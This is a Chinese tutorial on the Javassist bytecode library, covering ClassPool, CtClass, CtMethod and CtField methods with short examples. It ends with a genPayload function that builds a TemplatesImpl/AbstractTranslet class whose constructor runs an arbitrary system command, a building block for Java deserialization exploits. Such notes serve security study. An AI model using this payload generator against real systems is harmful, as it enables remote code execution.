目录
介绍
Javassist&ASM?
Javassist关键类
常用方法
ClassPool 的常用方法
CtClass 的常用方法
CtMethod 的常用方法
CtField 的常用方法
补充
setSuperclass in Javassist
constructor in Javassist
toBytecode in Javassist
Javassist实现TemplatesImpl恶意字节码生成方法
介绍
pom依赖
<dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.29.2-GA</version>
</dependency>
Javassist使Java字节码操作变得简单,它是一个用于在Java中编辑字节码的类库
它使Java程序能够在运行时定义一个新类,并在JVM加载类文件时对其进行修改
与其他类似的字节码编辑器不同,Javassist提供了两个级别的API:源代码级别和字节码级别
如果用户使用源代码级API,他们可以在不了解Java字节码规范的情况下编辑类文件。整个API仅使用Java语言的词汇设计。甚至可以以源代码的形式指定插入的字节码,Javassist会即时地进行编译
另一方面,字节码级API允许用户像其他编辑器一样直接编辑类文件
Javassist&ASM?
javassist的主要优点是简单,使用javassist不需要了解class文件结构,也不需要了解字节码指令,就能动态改变类的结构或生成类,但这同时也是缺点,这种简单带来了局限性,也导致性能降低。
而ASM恰好与之相反,使用ASM需要了解底层,对使用者有一定的门槛,但ASM没有局限,我们完全可以使用ASM编写任意一个能用JAVA代码编写的类。
Javassist关键类
①ClassPool: 一个基于Hashtable实现的CtClass对象容器, 其中键是类名称, 值是表示该类的CtClass对象
②CtClass: CtClass表示类, 一个CtClass(编译时类)对象可以处理一个class文件, 这些CtClass对象可以从ClassPool获得
③CtMethods: 表示类中的方法
④CtFields: 表示类中的字段
常用方法
ClassPool 的常用方法
getDefault()
: 获取默认的 ClassPool 对象。makeClass(String classname)
: 创建一个新的 CtClass 对象。get(String classname)
: 根据类名获取现有的 CtClass 对象。
import javassist.ClassPool;
import javassist.CtClass;ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("com.example.NewClass");
CtClass existingClass = classPool.get("com.example.ExistingClass");
CtClass 的常用方法
addMethod(CtMethod method)
: 添加一个新的 CtMethod 对象。addField(CtField field)
: 添加一个新的 CtField 对象。toClass()
: 将 CtClass 转换为实际的 Class 对象。writeFile()
: 将 CtClass 写入磁盘文件。
import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtField;CtClass ctClass = classPool.makeClass("com.example.NewClass");
CtMethod newMethod = CtMethod.make("public void newMethod() { System.out.println(\"New Method\"); }", ctClass);
ctClass.addMethod(newMethod);
CtField newField = new CtField(CtClass.intType, "newField", ctClass);
ctClass.addField(newField);
Class<?> clazz = ctClass.toClass();
ctClass.writeFile("/path/to/output/directory");
CtMethod 的常用方法
- make(String src, CtClass declaring): 根据源代码和声明类创建一个新的 CtMethod 对象。
getReturnType()
: 获取方法的返回类型。getParameterTypes()
: 获取方法的参数类型。getMethodBody()
: 获取方法体(代码块)。insertBefore(String src)
: 在方法体之前插入代码。insertAfter(String src)
: 在方法体之后插入代码。
import javassist.CtMethod;CtMethod existingMethod = ctClass.getDeclaredMethod("existingMethod");
CtMethod newMethod = CtMethod.make("public void newMethod() { System.out.println(\"New Method\"); }", ctClass);
String returnType = existingMethod.getReturnType().getName();
CtClass[] parameterTypes = existingMethod.getParameterTypes();
String methodBody = existingMethod.getMethodBody();
existingMethod.insertBefore("System.out.println(\"Before method\");");
existingMethod.insertAfter("System.out.println(\"After method\");");
CtField 的常用方法
make(CtClass type, String name, CtClass declaring)
: 根据类型、字段名和声明类创建一个新的 CtField 对象。getType()
: 获取字段的类型。getModifiers()
: 获取字段的修饰符。setModifiers(int modifiers)
: 设置字段的修饰符。getDeclaringClass()
: 获取声明该字段的类。
import javassist.CtField;CtField existingField = ctClass.getField("existingField");
CtField newField = CtField.make("private int newField;", ctClass);
CtClass fieldType = existingField.getType();
int modifiers = existingField.getModifiers();
existingField.setModifiers(Modifier.PRIVATE);
CtClass declaringClass = existingField.getDeclaringClass();
补充
setSuperclass in Javassist
在 Javassist 中,setSuperclass()
方法用于设置一个类的父类。通过 setSuperclass()
方法,可以将一个类指定为另一个类的子类,从而继承父类的属性和方法。
ClassPool classPool = ClassPool.getDefault();
CtClass superClass = classPool.get("com.example.SuperClass");CtClass subClass = classPool.makeClass("com.example.SubClass");
subClass.setSuperclass(superClass);
constructor in Javassist
constructor
是 Javassist 中用于表示构造函数的对象。通过 constructor
,可以获取构造函数的参数信息、方法体等,并进行相应的操作,如修改构造函数的行为或生成新的构造函数
CtConstructor superConstructor = superClass.getDeclaredConstructors()[0]; // 获取第一个构造函数
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
toBytecode in Javassist
toBytecode()
方法用于将构造函数、方法等转换为字节码形式。通过 toBytecode()
方法,可以获取构造函数的字节码表示,进而进行进一步的分析、修改或生成新的构造函数
byte[] bytecode = superConstructor.toBytecode();
System.out.println(new String(bytecode));
Javassist实现TemplatesImpl恶意字节码生成方法
public static byte[] genPayload(String cmd) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");clazz.addConstructor(constructor);clazz.getClassFile().setMajorVersion(49);return clazz.toBytecode();}